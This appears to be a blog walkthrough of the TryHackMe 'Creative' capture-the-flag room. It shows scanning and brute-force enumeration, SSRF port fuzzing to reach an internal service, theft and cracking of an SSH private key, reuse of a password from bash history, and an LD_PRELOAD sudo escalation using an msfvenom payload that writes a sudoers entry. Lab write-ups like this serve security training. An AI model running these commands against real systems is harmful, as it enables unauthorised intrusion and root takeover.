TryHackMe | Creative

In this walkthrough, I demonstrate how I obtained complete ownership of the Creative room on TryHackMe
TryHackMe | Creative
In: TryHackMe, Attack, CTF

Nmap Results

# Nmap 7.94SVN scan initiated Sun Jun 23 01:23:24 2024 as: nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt
Nmap scan report for
Host is up (0.080s latency).
Not shown: 65533 filtered tcp ports (no-response)
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:5c:1c:4e:b4:86:cf:58:9f:22:f9:7c:54:3d:7e:7b (RSA)
|   256 47:d5:bb:58:b6:c5:cc:e3:6c:0b:00:bd:95:d2:a0:fb (ECDSA)
|_  256 cb:7c:ad:31:41:bb:98:af:cf:eb:e4:88:7f:12:5e:89 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://creative.thm
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
# Nmap done at Sun Jun 23 01:24:42 2024 -- 1 IP address (1 host up) scanned in 77.55 seconds
Don't miss an opportunity to find helpful information in the nmap output, as we can see the HTTP redirect to creative.thm in the tcp/80 output

Let's go ahead and get that hostname added to our /etc/hosts file.

echo -e '\tcreative.thm' | sudo tee -a /etc/hosts

Service Enumeration


Happy Path Testing

Right now we don't know anything about the web site, so we're just going to click around and interact with different input points and pages as a normal user would
  • On the main page is a contact from that just sends a HTTP GET request with the message body in the query string
  • On the components.html page, there is a sort of color palette and and font sampler
    • None of the form elements or input points are active
  • Nothing too interesting when just exploring the app

Unhappy Path Testing

We need to see if we can uncover some new pages, endpoints, or sensitive data, so now is the time to start poking around on the page with a more malicious intent.

  • No robots.txt
  • No sitemap.xml
  • Nothing too interesting when looking at the page source code in the browser dev tools

We're going to need to employ some brute forcing techniques to hopefully find some more interesting pages or virtual hosts.

Gobuster Enumeration

Virtual Hosts

VirtualHost Enumeration | 0xBEN | Notes
VirtualHosts Examples In the diagram above, this is the valid way to use virtual hosts. You creat…
gobuster vhost -k --domain creative.thm --append-domain -u -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
Found: beta.creative.thm Status: 200 [Size: 591]

Directories and Files

gobuster dir -u http://creative.thm -w /usr/share/seclists/Discovery/Web-Content/big.txt -o creative_thm.txt -t 100
/assets               (Status: 301) [Size: 178] [--> http://creative.thm/assets/]

Exploring the New Virtual Host

echo -e '\tbeta.creative.thm' | sudo tee -a /etc/hosts
Add the new hostname to our /etc/hosts file

Page Source Code

<!DOCTYPE html>
  <title>URL Tester</title>
  <link rel="stylesheet" type="text/css" href="css/style.css">
  <div class="container">
    <h1>Beta URL Tester</h1>
    <p>This page provides the functionality that allows you to test a URL to see if it is alive. Enter a URL in the form below and click "Submit" to test it.</p>
    <form action="/" method="POST">
      <label for="url">Enter URL:</label>
      <input type="text" id="url" name="url" placeholder="">
      <input type="submit" value="Submit">

Looking at the page source code, we note the following:

  • Whatever you enter in the input field will be submitted as a HTTP POST to http://beta.creative.thm/.
  • And the HTTP POST will contain a simple url={{your input here}} body

Let's test it out...

See how it behaves if it tries to load itself
Not behaving well at all...
curl -X POST 'http://beta.creative.thm' -d 'url='
Test that same request using curl, which makes testing a bit easier over the clicking and page reloading
sudo python3 -m http.server 80
We can also receive HTTP requests to our python HTTP server bound to our VPN IP
When running the server with nginx and using custom logging, we can see that the server is using python-requests/2.28.2 to fetch the page provided in the url parameter
We can see that the page is being served by Nginx on the target
Seeing the python-requests user agent in the Nginx log makes me think that this is a Python test server running behind a load balancer
Also, in my testing the remote file inclusion was not in play here. If I loaded a .php file from my python web server at my VPN IP, the code was commented out and not executed by the server.

If not File Inclusion, Try SSRF

We know the server will reach out to which is tcp/80 and load the page contents. So, if it we can't get code execution via a remote PHP script or similar, we can try and uncover hidden resources.
for port in {1..65535} ; do echo $port >> ports.txt ; done

Create a word list of all 65,535 TCP ports

# -m POST : the HTTP method
# -B : the POST body FUZZ is the placeholder for the wordlist
# -w : the wordlist we created
# -H : required header describing the HTTP POST body
# --exclude-length : ignore "<p> dead </p>" response

gobuster fuzz -u "http://beta.creative.thm/" -m POST \
-B 'url=' -w ports.txt \
-H 'Content-Type: application/x-www-form-urlencoded' \
--exclude-length 13 -t 20
tcp/80 and tcp/1337 are reachable internally by the web server
We have an internal directory listing of what appears to be the host file system



SSH private key for the saad user
curl -X POST 'http://beta.creative.thm/' -d 'url=' -o saad_ssh_key

Save the file to saad_ssh_key

chmod 400 saad_ssh_key

Set the file permissions to make it less open

ssh -i saad_ssh_key saad@creative.thm

Log in as saad via SSH

Cracking SSH Key Password

What's this, a passphrase for the SSH key?
ssh2john saad_ssh_key > hash
john --wordlist=rockyou.txt hash
Enter the passkey and you should be able to log in

Post-Exploit Enumeration

Operating Environment

OS & Kernel

VERSION="20.04.5 LTS (Focal Fossa)"
PRETTY_NAME="Ubuntu 20.04.5 LTS"

Linux m4lware 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux    

Current User

uid=1000(saad) gid=1000(saad) groups=1000(saad)

Matching Defaults entries for saad on m4lware:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD

User saad may run the following commands on m4lware:
    (root) /usr/bin/ping

Users and Groups

Local Users


Local Groups


Network Configurations

Network Interfaces

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:aa:46:6d:de:15 brd ff:ff:ff:ff:ff:ff
    inet brd scope global dynamic eth0
       valid_lft 2986sec preferred_lft 2986sec
    inet6 fe80::aa:46ff:fe6d:de15/64 scope link    

Open Ports

tcp        0      0*               LISTEN      685/python3         
tcp        0      0  *               LISTEN      -   

Processes and Services

Interesting Processes

root         858  3.1  5.4  40436 26316 ?        S    15:42   0:04 /var/www/project/venv/bin/python3 /var/www/project/venv/bin/gunicorn --bind wsgi:app
saad         689  0.8  2.4  23788 11680 ?        Ss   15:41   0:01 /usr/bin/python3 /home/saad/

Interesting Services

  flask.service               loaded active running Gunicorn instance to serve Flask    

Interesting Files


ls -al
cd ..
sudo -l
echo "saad:MyStrongestPasswordYet$4291" > creds.txt
rm creds.txt
sudo -l
ls -al
sudo -l
ls -al
mysql -u root -p
netstat -antlp
mysql -u root
sudo su
ssh root@
mysql -u user -p
mysql -u db_user -p
ls -ld /var/lib/mysql
ls -al
cat .bash_history 
cat .bash_logout 
nano .bashrc 
ls -al


Description=Gunicorn instance to serve Flask
ExecStart=/var/www/project/venv/bin/gunicorn --bind wsgi:app

Privilege Escalation

Becoming Root

We found the /home/saad/.bash_history file contains a line where the user entered a credential in cleartext on the command line:

echo "saad:MyStrongestPasswordYet$4291" > creds.txt

Using this credential allows us to enumerate the user's sudo privilelges.

sudo -l

The /usr/bin/ping binary is not writable, however the sudo -l output contains something interesting — env_keep+=LD_PRELOAD.

LD_PRELOAD is an environment variable that allows a user to tell the process to load a shared object into the process memory before the program runs. A shared object -- identified as a file with the .so extension -- is similar to a Windows .dll file, in that it contains code that may be necessary to the functionality of the running process.

However, in the case of this privilege escalation technique, the danger presents itself due to the fact that we can point to a custom .so file while running sudo to have the .so file run as root. By pointing to a custom .so file path, we can cause the process to arbitrarily load malicious code and execute it before the main program runs.
msfvenom -p linux/x64/exec --list-options

View the options for the payload linux/x64/exec

msfvenom -p linux/x64/exec CMD="echo 'saad        ALL=(ALL:ALL) NOPASSWD: ALL' > /etc/sudoers.d/saad" AppendExit='true' -f elf-so -o

Create using msfvenom to give saad password-less sudo on all commands

scp -i saad_ssh_key ./ saad@creative.thm:/tmp

Copy the file over SSH to the /tmp directory on the target

File successfully copied
Listing the file in my SSH session as saad
sudo LD_PRELOAD=/ /usr/bin/ping

sudo loads /usr/bin/ping and ping runs our .so file before executing ping

Log out and log back in via ssh, we can sudo any command now without a password





More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.